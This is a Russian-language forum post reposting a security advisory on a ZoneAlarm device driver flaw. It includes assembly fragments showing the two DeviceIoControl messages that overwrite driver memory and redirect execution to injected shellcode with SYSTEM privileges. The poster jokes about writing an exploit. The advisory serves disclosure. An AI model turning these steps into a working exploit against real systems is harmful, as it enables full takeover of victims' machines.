На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Правила!
Пожалуйста, подумайте два! раза перед тем как нажать кнопку Отправить.
Убедительная просьба пользоваться поиском и ИНСТРУКЦИЕЙ, и только потом спрашивать!


  • Публикация вирусов/эксплоитов в бинарном виде запрещена!
  • Запрещается размещать прямые ссылки на зараженные сайты! (если хочется предупредить, то исправляйте HTTP://... на ХТТП://...)
  • Категорически запрещается поиск кряков/варезов/серийников, а также размещение ссылок на серийники/ключи/кряки и т.п.
  • Запрещается использование оскорбительных выражений в адрес участников коференции, в том числе и в личной переписке.


Модераторы: Rust
  
> Выполнение произвольного кода в ZoneAlarm
    original http://www.securitylab.ru/?ID=39403

    Уязвимость обнаружена в драйвере устройства в ZoneAlarm. Атакующий может получить полный контроль над уязвимой системой.

    Посылая специально обработанное форматированное сообщение к ZoneAlarm Device Driver (VSDATANT - TrueVector Device Driver), атакующий может перезаписать часть памяти драйвера устройства. В результате атакующий может выполнить произвольный код на системе:

    Первый сигнал должен быть послан, чтобы перезаписать определенный участок памяти, в нашем случае, этом может быть один из операторов условного перехода:

    ExpandedWrap disabled
      <br>     push 0                                     ;overlapped <br>     push offset bytes_returned                 ;bytes returned <br>     push 4                                     ;lpOutBuffer size <br>     push STATMENT_INSTRUCTION_POINTER          ;memory to overwrite <br>     push 0                                     ;lpInBuffer size <br>     push 0                                     ;lpInBuffer <br>     push 8400000fh                             ;guess what X-D <br>     push vsdatant_handle                       ;device handle <br>     call DeviceIoControl                       ;send it! <br>


    Правильный STATMENT_INSTRUCTION_POINTER должен перезаписать адрес к 00060001h (например). После распределения памяти в этом адресе (вставка shellcode bla bla bla), второй сигнал должен быть послан, чтобы внедриться во вставленный код. Это может быть сделано посылкой другого сигнала:
       LpInBuffer:
        db STATMENT_OVERWRITTEN_NUMBER                     ;where to jump
        db 7 dup (0)                                       ;data?
        dd temp_buff                                       ;temp buffer
        db 10 dup (0)                                      ;some space

    После посылки второго фальшивого сообщения, драйвер устройства перейдет к STATEMENT оффсету, который был перезаписан первым "сигналом". В результате атакующий может получить выполнить произвольный код с SYSTEM привилегиями.
    Уязвимость обнаружена в Local ZoneAlarm Firewall все версии (проверено на 3.1)

    Способов устранения обнаруженной уязвимости не существует в настоящее время.


    PS

    ну что может експлоит написать ? ;D
    1 пользователей читают эту тему (1 гостей и 0 скрытых пользователей)
    0 пользователей:


    Рейтинг@Mail.ru
    [ Script execution time: 0,0163 ]   [ 14 queries used ]   [ Generated: 19.05.24, 16:32 GMT ]